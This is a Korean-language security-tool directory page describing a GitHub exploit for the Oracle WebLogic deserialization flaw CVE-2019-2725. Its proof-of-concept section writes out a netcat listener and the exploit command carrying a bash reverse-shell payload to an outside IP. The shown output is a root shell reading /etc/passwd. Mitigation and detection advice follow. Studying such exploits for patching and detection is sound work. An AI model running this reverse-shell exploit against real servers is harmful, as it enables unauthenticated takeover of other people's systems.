Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
Oracle-Weblogic-Server-AsyncResponseService-Deserialization-Remote-Code-Execution-CVE-2019-2725 — 인증되지 않은 원격 코드 실행 익스플로잇으로, Oracle WebLogic Server(CVE-2019-2725)의 AsyncResponseService 역직렬화 취약점을 이용해 조작된 SOAP 요청을 통해 리버스 셸을 전달합니다. | Kitploit
도구/GitHubGitHub/loursha/oracle-weblogic-server-asyncresponseservice-deserialization-remote-code-execution-cve-2019-2725
Vulnerability AnalysisExploitationWeb Application ExploitationPenetration TestingRed TeamingRemote Access Tool
GitHubloursha/oracle-weblogic-server-asyncresponseservice-deserialization-remote-code-execution-cve-2019-2725

Oracle-Weblogic-Server-AsyncResponseService-Deserialization-Remote-Code-Execution-CVE-2019-2725

인증되지 않은 원격 코드 실행 익스플로잇으로, Oracle WebLogic Server(CVE-2019-2725)의 AsyncResponseService 역직렬화 취약점을 이용해 조작된 SOAP 요청을 통해 리버스 셸을 전달합니다.

저장소 보기
27개월 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

CVE-2019-2725 – Oracle WebLogic 무인증 원격 코드 실행

Oracle Fusion Middleware의 Oracle WebLogic Server 구성 요소(하위 구성 요소: Web Services)의 취약점입니다. 영향을 받는 지원 버전은 10.3.6.0.0 및 12.1.3.0.0입니다. 쉽게 악용할 수 있는 이 취약점으로 인해 HTTP를 통한 네트워크 접근 권한이 있는 무인증 공격자가 Oracle WebLogic Server를 손상시킬 수 있습니다.

취약점 개요

CVE ID: CVE-2019-2725
심각도: 치명적(CVSS v3: 9.8)
취약점 유형: 무인증 원격 코드 실행(RCE)
영향받는 제품: Oracle WebLogic Server
영향받는 구성 요소: AsyncResponseService
인증 필요: 아니요
사용자 상호 작용 필요: 아니요

CVE-2019-2725는 Oracle WebLogic Server의 심각한 역직렬화 취약점으로, 무인증 원격 공격자가 /_async/AsyncResponseService 엔드포인트로 전송된 특수하게 조작된 SOAP 요청을 통해 임의의 시스템 명령을 실행할 수 있게 합니다.

영향을 받는 버전

2019년 4월 Critical Patch Update 이전의 Oracle WebLogic Server 버전(다음을 포함하되 이에 국한되지 않음):

  • WebLogic 10.3.6
  • WebLogic 12.1.3
  • WebLogic 12.2.1.3

취약점 설명

이 취약점은 AsyncResponseService의 로 인해 발생합니다. 공격자는 악성 XML 페이로드를 전송하여 기본 운영 체제에서 을 유발할 수 있습니다.

안전하지 않은 역직렬화

인증 없이
임의의 명령 실행

이 문제는 특히 다음과 같은 이유로 위험합니다:

  • 엔드포인트가 종종 외부에 노출됩니다.
  • 유효한 자격 증명이 필요하지 않습니다.
  • 악용 시 시스템 전체가 손상됩니다.

공격 시나리오

  1. 공격자가 노출된 WebLogic 인스턴스를 식별합니다.
  2. 공격자가 다음으로 악성 SOAP 요청을 전송합니다:
  3. WebLogic이 공격자가 제어하는 데이터를 역직렬화합니다.
  4. 임의의 OS 명령이 실행됩니다.
  5. 공격자가 원격 셸 접근 권한을 획득합니다.

개념 증명(PoC)

🔹 공격자 리스너(두 번째 CLI)

리버스 셸을 수신하기 위해 Netcat 리스너를 시작합니다:

root@kitploit:~
nc -lvp 2323

🔹 익스플로잇 실행(첫 번째 CLI)

취약한 WebLogic 서버에 대해 익스플로잇 스크립트를 실행합니다:

root@kitploit:~
python3 CVE-2019-2725.py http://172.17.0.6:7001/_async/AsyncResponseService '/bin/bash -i >& /dev/tcp/172.17.0.10/2323 0>&1'

예상 출력:

root@kitploit:~
[+] Target appears VULNERABLE
[*] Sending payload...
[+] Payload delivered successfully (HTTP 202)

🔹 성공적인 악용 결과

Netcat 리스너에서 리버스 셸이 수신됩니다:

root@kitploit:~
Listening on 0.0.0.0 2323
Connection received on 172.17.0.6 39926
bash: cannot set terminal process group (1): Inappropriate ioctl for device
bash: no job control in this shell
root@8c9cc07feb3e:~/Oracle/Middleware/user_projects/domains/base_domain#

root@8c9cc07feb3e:~/Oracle/Middleware/user_projects/domains/base_domain# whoami
root
root@8c9cc07feb3e:~/Oracle/Middleware/user_projects/domains/base_domain#

root@8c9cc07feb3e:~/Oracle/Middleware/user_projects/domains/base_domain# pwd
/root/Oracle/Middleware/user_projects/domains/base_domain
root@8c9cc07feb3e:~/Oracle/Middleware/user_projects/domains/base_domain#

root@8c9cc07feb3e:~/Oracle/Middleware/user_projects/domains/base_domain# cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
libuuid:x:100:101::/var/lib/libuuid:
syslog:x:101:104::/home/syslog:/bin/false
root@8c9cc07feb3e:~/Oracle/Middleware/user_projects/domains/base_domain#

완화 및 해결 방안

권장 조치

  1. Oracle 2019년 4월 Critical Patch Update(CPU) 적용
  • Oracle WebLogic Server를 Oracle이 제공하는 2019년 4월 보안 수정 사항이 포함된 버전으로 업그레이드합니다. https://www.oracle.com/security-alerts/alert-cve-2019-2725.html
  1. 취약한 엔드포인트에 대한 접근 제한
  • 이는 원격 명령 실행 및 시스템 수준 접근을 확인합니다.
  • 이 엔드포인트가 신뢰할 수 없는 네트워크에 노출되지 않도록 합니다.
  • 내부 또는 신뢰할 수 있는 IP 범위로만 접근을 제한합니다.
  1. 네트워크 제어를 통한 신뢰할 수 없는 접근 차단
  • 엄격한 방화벽 규칙을 구현합니다.
  • 리버스 프록시를 통한 접근 제어를 적용합니다.
  • WebLogic 관리 및 비동기 서비스에 대한 불필요한 외부 접근을 비활성화합니다.
  1. 로깅 및 지속적인 모니터링 활성화
  • HTTP 접근 로그를 모니터링합니다.
  • 비동기 엔드포인트를 대상으로 하는 비정상적인 요청 패턴에 대해 경고를 발생시킵니다.

탐지 지표

다음 지표는 악용 시도 또는 성공적인 악용을 시사할 수 있습니다:

🔍 네트워크 및 애플리케이션 지표

  • 다음으로의 요청:
  • 의심스럽거나 잘못된 형식의 SOAP/XML 페이로드
  • 비동기 서비스의 반복적인 HTTP 202 Accepted 응답

🔍 호스트 기반 지표

  • WebLogic Server에서 시작된 아웃바운드 네트워크 연결
  • 다음과 같은 예기치 않은 셸 실행:
  • /bin/bash
  • /bin/sh
  • 알 수 없는 IP 또는 포트로의 리버스 셸 연결 생성

보안 모니터링 권장 사항

  • 알려진 WebLogic SOAP 악용 패턴에 대한 IDS/IPS 시그니처를 활성화합니다.
  • WebLogic 서버의 아웃바운드 트래픽을 모니터링합니다.
  • 애플리케이션 서비스에 대해 최소 권한 실행을 구현합니다.
  • WebLogic 프로세스 실행 로그를 정기적으로 검토합니다.

크레딧

익스플로잇 이해 및 검증을 위해 다음 공개 저장소를 참조했습니다:

  • https://github.com/lufeirider/CVE-2019-2725
  • https://github.com/pimps/CVE-2019-2725
도구 다운로드